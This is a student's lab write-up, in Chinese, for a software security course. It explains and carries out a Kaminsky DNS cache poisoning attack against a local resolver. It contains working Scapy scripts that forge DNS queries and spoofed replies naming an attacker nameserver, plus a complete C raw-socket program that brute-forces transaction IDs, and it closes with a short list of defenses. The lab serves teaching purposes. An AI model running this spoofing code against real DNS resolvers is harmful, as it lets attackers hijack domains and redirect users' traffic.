software-security-lab6

《软件安全》课程实验3,有关DNS相关原理以及漏洞的攻击。Kaminsky攻击方法

software-security-lab6

[TOC]

DNS攻击原理

传统攻击

如下图所示

image-20220530110330762

具体流程为:

  1. 受害者向DNS发送一个查询请求
  2. 此时DNS服务器应该向跟根务器等一级一级询问
  3. 攻击者伪装自己是权威DNS服务器,发送一个假的数据给local resolver(同时需要爆破TXID)
  4. 如果攻击者抢先在权威DNS服务器之前传送了数据,就完成了攻击。

Kaminsky攻击

改进的攻击主要防止如果一次攻击没有成功的情况下,需要等待一个完整的TTL之后才能下一次攻击的特性。具体方案如下。

image-20220530131343433

  1. 攻击者A1向服务器发送一个请求$rand.google.com的请求
  2. 服务器一定无法解析域名。于是要向谷歌的官方DNS服务器询问。
  3. 在这个过程中,A2不断地向本地DNS服务器发送伪造数据包。数据包中不仅包含$RAND.google.com的ip,还包含www.google.com的IP。**注意此时本地DNS服务器如果成功收到伪造的包,就会把$RAND.google.com的ip和www.google.com的IP都记下来(作为一个dns解析的IP地址)。**这个时候就完成了一次伪造的IP写入。

注意这个攻击相比于上一个:上一个可能要等很多个TTL,这一次成功只是时间问题,可以一直尝试下去。

环境验证

首先是dig ns.attacker32.com

image-20220530140035570

接下来看一下example.com对应的IP。如果直接访问,可以看到DNS解析出来的是一个真实的IP,可以随意访问。

image-20220530140247389

但是如果借用攻击者的DNS访问,出来的结果是攻击者自己设置的example.com的IP。

image-20220530140514847

task2:construct DNS request

这里我们需要伪造一个包。如下所示是我用wireshark抓包得到的结果。可以看到我们伪造的DNS包经过了服务器的响应,返回了伪造的IP地址。并且也成功的被wireshark识别为一个DNS回应。这说明我们的伪造大致是正确的。

image-20220530143654170

用到的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
from scapy.all import *
import time

'''
exec attack
'''
Qdsec = DNSQR(qname="www.example.com")
dns = DNS(id = 0xAAAA,qr = 0, qdcount = 1, ancount = 0,nscount = 0,arcount = 0, qd = Qdsec)
ip = IP(dst = '10.9.0.153', src = '10.9.0.1')
udp = UDP(dport = 53, sport = 12345, chksum = 0)
request = ip/udp/dns

send(request,verbose=0,iface = "br-62635d9cf0f7")

task3: spoof DNS replies

这里要求填写一系列字段的值。为了方便观察,我们先使用dig看一看DNS一般怎么回复。下面是一个正常查询IP的过程。在这里我们可以看到ns字段的作用。从下面的包可以看到,这里的ns是example.com对应的DNS解析服务器。因此我们在自己攻击时,需要将这里写成attacker的DNS服务器地址。

image-20220530162732918

使用以下代码完成一个伪造的DNS包的回复。其中最重要的字段是DNS()伪造包的部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from scapy.all import *
import time
name = "123.example.com" # query network
domain = "exmaple.com" # query's domain name
ns = "ns.attacker32.com" # hacker's DNS 域名

Qdsec = DNSQR(qname=name)
Anssec = DNSRR(rrname=name, type = 'A', rdata = '1.2.3.4',ttl = 259200)
NSsec = DNSRR(rrname=domain, type = 'NS', rdata = ns, ttl = 259200)
dns = DNS(id = 0xAAAA,aa = 1, rd = 1, qr = 1, qdcount = 1,
ancount = 1,nscount = 1,arcount = 0, qd = Qdsec, an = Anssec, ns = NSsec)

ip = IP(dst = '10.9.0.53',src = '10.9.0.153') # dst 10.9.0.53 is the victim DNS server
udp = UDP(dport = 33333,sport = 53, chksum = 0) # dest is 33333 port
reply = ip/udp/dns

send(reply,verbose=0,iface = "br-62635d9cf0f7")

可以看到我们回复的包的内容。都是符合预期的。并且wireshark也将其解析为标准的DNS返回报文。

image-20220530162354073

task4: full attack

这里我们要用C模拟发送包,因为python发送的速度太慢了。我们需要修改的是transanctionID的数据。从下图的reply包中可以看出,这个ID处于偏移0x1C的位置上。这个位置的数据需要爆破。

image-20220530171422638

接着看看我们伪造的来源IP是什么。从下图中可以看到,我们最后一个访问的DNS服务器是b.iana-servers.net,使用nslookup可以看到对应的IP地址为199.43.133.53。因此可以确定我们reply包中ip的sec应该是199.43.133.53

image-20220530171123461

之后为了使得回复的包的域名和我们发送的一样,也需要找到在发送的包和返回的包中的域名起始位置。

文件 项目 偏移
发送包 域名偏移 0x29
接受包 域名偏移 0x29、0x40
接受包 trans字段偏移 0x1c

构造包

依然是使用task3的脚本生成一个回复报文。这里构造一个回复包(发送包不列出了),之后用C直接修改包中特定偏移的数据,就不用每次构造所有数据了,能够更大程度的加快速度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from scapy.all import *
import time
name = "12345.example.com" # query network 这里要注意是开始5位才能和C语言的对上
domain = "example.com" # query's domain name
ns = "ns.attacker32.com" # hacker's DNS server name

Qdsec = DNSQR(qname=name)
Anssec = DNSRR(rrname=name, type = 'A', rdata = '1.2.3.4',ttl = 259200)
NSsec = DNSRR(rrname=domain, type = 'NS', rdata = ns, ttl = 259200)
dns = DNS(id = 0xAAAA,aa = 1, rd = 1, qr = 1, qdcount = 1,
ancount = 1,nscount = 1,arcount = 0, qd = Qdsec, an = Anssec, ns = NSsec)

ip = IP(dst = '10.9.0.53',src = '199.43.133.53') # dst 10.9.0.53 is the victim DNS server
udp = UDP(dport = 33333,sport = 53, chksum = 0) # dest is 33333 port
reply = ip/udp/dns

# send(reply,verbose=0,iface = "br-62635d9cf0f7")
with open('ip_resp.bin','wb') as f:
f.write(bytes(reply))

在wireshark中可以看到我们构造的报文是合法的,可以通过wireshark识别。

image-20220530190651616

使用C修改并发送

使用的C语言代码如下所示。其实改动并不多。下面的代码主要做了以下事情。

  1. 随机生成一个$(rand).example.com,并向服务器发送这样的访问请求,触发服务器的DNS询问过程。
  2. 立刻向本地的DNS服务器发送伪造的DNS响应包。其中需要修改的是transID字段,并且把伪造包中的域名修改为上一步发送的随机域名将构造包中的example.com的权威域名服务器修改为攻击者自己的DNS服务器
  3. 不断重复上述过程。

一下是代码部分。主要是修改了返回给用户的包中trans字段的数字(来爆破原先的transID),以及对应的域名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>

#define MAX_FILE_SIZE 1000000


/* IP Header */
struct ipheader {
unsigned char iph_ihl:4, //IP header length
iph_ver:4; //IP version
unsigned char iph_tos; //Type of service
unsigned short int iph_len; //IP Packet length (data + header)
unsigned short int iph_ident; //Identification
unsigned short int iph_flag:3, //Fragmentation flags
iph_offset:13; //Flags offset
unsigned char iph_ttl; //Time to Live
unsigned char iph_protocol; //Protocol type
unsigned short int iph_chksum; //IP datagram checksum
struct in_addr iph_sourceip; //Source IP address
struct in_addr iph_destip; //Destination IP address
};

void send_raw_packet(unsigned char * buffer, int pkt_size);
void send_dns_request(unsigned char *req, int size);
void send_dns_response(unsigned char *req, int size);

int main()
{
srand(time(NULL));

// Load the DNS request packet from file
FILE * f_req = fopen("ip_req.bin", "rb");
if (!f_req) {
perror("Can't open 'ip_req.bin'");
exit(1);
}
unsigned char ip_req[MAX_FILE_SIZE];
int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);

// Load the first DNS response packet from file
FILE * f_resp = fopen("ip_resp.bin", "rb");
if (!f_resp) {
perror("Can't open 'ip_resp.bin'");
exit(1);
}
unsigned char ip_resp[MAX_FILE_SIZE];
int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);

char a[26]="abcdefghijklmnopqrstuvwxyz";
int time = 0;
int i = 0;
while (1) {
// Generate a random name with length 5
char name[5];
for (int k=0; k<5; k++) name[k] = a[rand() % 26];

//##################################################################
/* Step 1. Send a DNS request to the targeted local DNS server.
This will trigger the DNS server to send out DNS queries */

// ... Students should add code here.

for(i=0;i<5;i++)
{
// modify domain name
// 发送随机的域名
ip_req[0x29+i] = name[i];
}

send_dns_request(ip_req,n_req);
/* Step 2. Send many spoofed responses to the targeted local DNS server,
each one with a different transaction ID. */

// ... Students should add code here.
for(i=0;i<5;i++)
{
// 将返回的域名改成发送的
ip_resp[0x29+i] = name[i]; // 为什么要修改两个值?因为回应的包里面既包含了query的内容,也包含了响应的,所以要修改两次。
ip_resp[0x40+i] = name[i];
}
for(time=0;time<10000;time++)
{
// modify trans, 2 bytes, change it at random
// 爆破trans位置的信息, 一共2byte
ip_resp[0x1c] = rand()%256;
ip_resp[0x1d] = rand()%256;

send_dns_response(ip_resp,n_resp);
}
//##################################################################
}
}


/* Use for sending DNS request.
* Add arguments to the function definition if needed.
* */
void send_dns_request(unsigned char *req, int size)
{
// Students need to implement this function
send_raw_packet(req,size);

}


/* Use for sending forged DNS response.
* Add arguments to the function definition if needed.
* */
void send_dns_response(unsigned char *resp,int size)
{
// Students need to implement this function
send_raw_packet(resp,size);
}


/* Send the raw packet out
* buffer: to contain the entire IP packet, with everything filled out.
* pkt_size: the size of the buffer.
* */
void send_raw_packet(unsigned char * buffer, int pkt_size)
{
struct sockaddr_in dest_info;
int enable = 1;

// Step 1: Create a raw network socket.
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

// Step 2: Set socket option.
setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
&enable, sizeof(enable));

// Step 3: Provide needed information about destination.
struct ipheader *ip = (struct ipheader *) buffer;
dest_info.sin_family = AF_INET;
dest_info.sin_addr = ip->iph_destip;

// Step 4: Send the packet out.
sendto(sock, buffer, pkt_size, 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
close(sock);
}

image-20220530214258861

task6: verify

这里要做的是验证一下我们确实攻击成功了

image-20220530214529111

下面是直接dig attacker的服务器查询example.com的结果

image-20220530214632385

接下来尝试使用wireshark抓包来进一步确认。以下是在本地DNS中没有缓存时,访问www.example.com的结果。可以看到最终是153结尾的attacker返回的结果。说明我们成功劫持了IP末尾为53的DNS服务器的example.com的权威DNS服务器缓存。

image-20220530222551632

下图是直接尝试访问attacker的DNS服务器。可以看到时一模一样的(除了第一个包里面可以看到是直接请求的attacker32的DNS,而上面那张图是example.com)也就是说,attacker现在可以完全控制example.com的DNS解析权。

image-20220530215753550

防御

  1. 增大transcationID取值范围,使之更难爆破
  2. 随机化DNS端口号(其实相当于增大transcationID取值范围)
  3. 对于每一个DNS请求,询问两次。这样敌手需要爆破32位。
  4. 使用DNSSEC机制。(类似于公钥身份验证)

总结

从上述实验中,完成了一次Kaminsky攻击。了解了DNS解析的缺陷以及Kaminsky攻击的优越特性:使得攻击只是时间问题。并且使用C语言编写的程序,大大加快爆破transID的速度,最终成功实践仅需要不到一分钟。

最后,了解了一下如何防御DNS的攻击,主要还是让爆破变得更加困难,增加随机数取值的思路。最终结束了对于本学期软件安全的所有实验,受益良多。

文章目录
  1. 1. software-security-lab6
  2. 2. DNS攻击原理
    1. 2.1. 传统攻击
    2. 2.2. Kaminsky攻击
    3. 2.3. 环境验证
  3. 3. task2:construct DNS request
  4. 4. task3: spoof DNS replies
  5. 5. task4: full attack
    1. 5.1. 构造包
    2. 5.2. 使用C修改并发送
  6. 6. task6: verify
  7. 7. 防御
  8. 8. 总结
|